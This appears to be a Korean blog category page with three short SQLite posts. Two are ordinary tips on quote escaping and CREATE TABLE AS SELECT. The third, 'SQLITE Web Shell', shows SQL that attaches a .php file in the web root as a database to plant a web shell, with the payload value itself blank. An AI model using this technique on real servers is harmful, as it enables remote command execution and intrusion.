NGA

DB/SQLITE → (3)건

SQLITE Escape quote

SQLITE에서는 quote를 escape하기 위해서는 \ 대신에 quote를 두번 사용해야 한다. sqlite> select 'Hello there\'s'; ...> ' ...> ; Error: near "'; '": syntax error sqlite> select 'Hello there''s'; Hello there's sqlite> select "Hello there""s"; Hello there"s
DB/SQLITE 2020. 7. 7. 11:40

CREATE TABLE ~ as SELECT ~

sqlite에서 table을 생성할 때 as select 문을 이용하면 select 된 table을 생성될 table에 복사하게 된다. sqlite> create table a(b text); sqlite> insert into a values(1); sqlite> insert into a values(2); sqlite> insert into a values(3); sqlite> select * from a; 1 2 3 sqlite> create table b as select * from a; sqlite> select * from b; 1 2 3
DB/SQLITE 2020. 3. 9. 12:03

SQLITE Web Shell

ATTACH DATABASE '/var/www/html/cmd.php' AS shell; CREATE TABLE shell.payload (payload text); INSERT INTO shell.payload VALUES('' );
DB/SQLITE 2019. 12. 30. 18:02
◀ 1 ▶

티스토리툴바